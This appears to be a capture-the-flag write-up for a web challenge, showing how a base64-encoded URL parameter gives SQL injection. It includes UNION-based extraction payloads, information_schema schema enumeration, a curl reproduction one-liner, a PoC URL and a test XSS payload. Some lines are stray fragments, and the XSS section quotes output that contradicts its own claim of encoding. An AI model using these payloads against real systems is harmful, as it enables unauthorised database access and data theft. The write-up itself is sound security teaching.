01 // Reconnaissance
The challenge page at /challenge.php is a "Critter Gallery" - eight animal tiles,
each linking to a detail view via ?pic=<base64>.
The pic value decodes to a plain animal name: Zm94 decodes to fox,
cGFuZGE= to panda, and so on.
Clicking a tile loads a detail card with three pieces of data:
| Element | Example |
|---|---|
Emoji <div class="art"> | 🦊 |
Name <h2> | fox |
Description <div class="desc"> | The red fox is a clever, highly adaptable hunter. |
The name is the decoded pic value, HTML-escaped.
The emoji and description are looked up from the name.
An invalid name shows a default painting emoji and the text "No critter goes by that name yet."
02 // Spotting the normalisation differential
Before breaking anything, I tested case variations of a known name:
| pic decodes to | Emoji | Description |
|---|---|---|
fox | 🦊 (correct) | ✅ fox's description |
FOX | 🖼️ (default) | ✅ fox's description |
Fox | 🖼️ (default) | ✅ fox's description |
fOX | 🖼️ (default) | ✅ fox's description |
The emoji only appears for the exact lowercase name - it's a case-sensitive lookup,
likely a PHP array ($emojis['fox']).
But the description is returned regardless of case.
That's the tell: case-insensitive string matching is the default behaviour of a MySQL
utf8mb4_..._ci collation.
Two different normalisation strategies mean two different backends - the emoji comes from
application code, but the description is resolved by a SQL query.
_ci collation.
03 // Breaking the query
If the decoded name goes into a SQL query, a single quote should break it:
# pic = base64("'") = Jw==
curl -s -o /dev/null -w "code=%{http_code} size=%{size_download}\n" \
"https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Jw%3D%3D"
# code=200 size=0
HTTP 200 with a zero-byte body - not a WAF block, not a validation error page,
but a silent crash. This is what an uncaught PDO exception looks like when
display_errors is off. The backslash \ also triggers
the same empty response, while every non-special character returns a normal page.
That's strong evidence: the decoded pic value is concatenated into a SQL string
literal without escaping.
04 // Confirming the injection
Boolean differential
The classic test: inject a condition that is true, then one that is false, and observe the difference.
True condition - fox' AND '1'='1:
Fox's description is displayed - the query returns a row.
False condition - fox' AND '1'='2:
"No critter goes by that name yet." - the injected AND clause
made the WHERE false, so no row came back.
This confirms classic string-based SQL injection - we control the WHERE clause.
UNION proof
To prove we can inject entirely new result rows:
fox' UNION SELECT 'INJECTED-BY-UNION
The real fox description appears, followed by our injected string INJECTED-BY-UNION
on the next line. The underlying query is therefore:
SELECT description FROM animals WHERE name = '<decoded pic>'
UNION SELECT '1','2' returns the zero-byte error (column count mismatch).
Every extraction payload must project exactly one column, and GROUP_CONCAT() is
needed to pull multiple values through that single slot.
05 // Fingerprinting the database
x' UNION SELECT CONCAT(@@version,' / ',database(),' / ',user())-- -
| Property | Value |
|---|---|
| DBMS | MySQL 8.0.46 |
| Database | critter_gallery |
| User | gallery@10.18.49.50 |
-- comment requires a trailing space to be recognised.
A bare fox'-- (no space) triggers the zero-byte crash page.
Using -- - (dash-dash-space-dash) is a reliable workaround - the extra
- is just filler after the space.
06 // Enumerating the schema
Tables
x' UNION SELECT (SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables
WHERE table_schema=database())-- -
Two tables: animals (the gallery data) and secret_vault
- a table that no feature of the application exposes.
Columns of secret_vault
x' UNION SELECT (SELECT GROUP_CONCAT(table_name,'.',column_name,' ',column_type)
FROM information_schema.columns
WHERE table_schema=database()
AND table_name='secret_vault')-- -
| Column | Type |
|---|---|
id | int |
note | varchar(255) |
07 // Extracting the flag
x' UNION SELECT note FROM secret_vault-- -
All payloads
Every payload goes through the same encoding pipeline:
raw SQL → base64 → URL-encode
(replacing + with %2B, / with %2F,
= with %3D).
| Step | Decoded payload | Purpose |
|---|---|---|
| Boolean TRUE | fox' AND '1'='1 | Confirm injection |
| Boolean FALSE | fox' AND '1'='2 | Confirm WHERE-clause control |
| UNION proof | fox' UNION SELECT 'INJECTED-BY-UNION | Prove row injection |
| Fingerprint | x' UNION SELECT CONCAT(@@version,' / ',database(),' / ',user())-- - | MySQL version, db, user |
| Tables | x' UNION SELECT (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())-- - | List tables |
| Columns | x' UNION SELECT (SELECT GROUP_CONCAT(table_name,'.',column_name,' ',column_type) FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_vault')-- - | List columns |
| Flag | x' UNION SELECT note FROM secret_vault-- - | Read the flag |
Reproduction one-liner
curl -s "https://challenge-0926.challenges.intigriti.io/challenge.php?pic=$(
printf '%s' "x' UNION SELECT note FROM secret_vault-- -" | base64 -w0
)" | grep -oP '(?<=<div class="desc">).*(?=<br>)'
Final PoC URL
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=eCcgVU5JT04gU0VMRUNUIG5vdGUgRlJPTSBzZWNyZXRfdmF1bHQtLSAt
08 // Why it's SQLi, not XSS
At first glance, injecting content into the page's description panel might look like it could lead to XSS. I tested:
x' UNION SELECT '<img src=x onerror=alert(document.domain)>'
The output:
<div class="desc"><img src=x onerror=alert(document.domain)><br></div>
Both the <h2> name and the <div class="desc"> description
pass through htmlspecialchars() - all <, >,
", and & are entity-encoded.
There is no XSS here.
The challenge is purely about SQL injection: the flag lives in the database, not in a
JavaScript execution context.
09 // Key observations
_ci collation.
Content-Length: 0 or the actual response size.
SELECT projects only one column (description),
so a UNION can only inject one column. Multi-value extractions need
GROUP_CONCAT() to serialise them into a single string.
-- alone is not a valid comment terminator in MySQL - it needs a trailing space.
-- - is the standard workaround (--[space][anything]).
Using # also works but can be URL-interpreted; -- - is safer
in a URL context.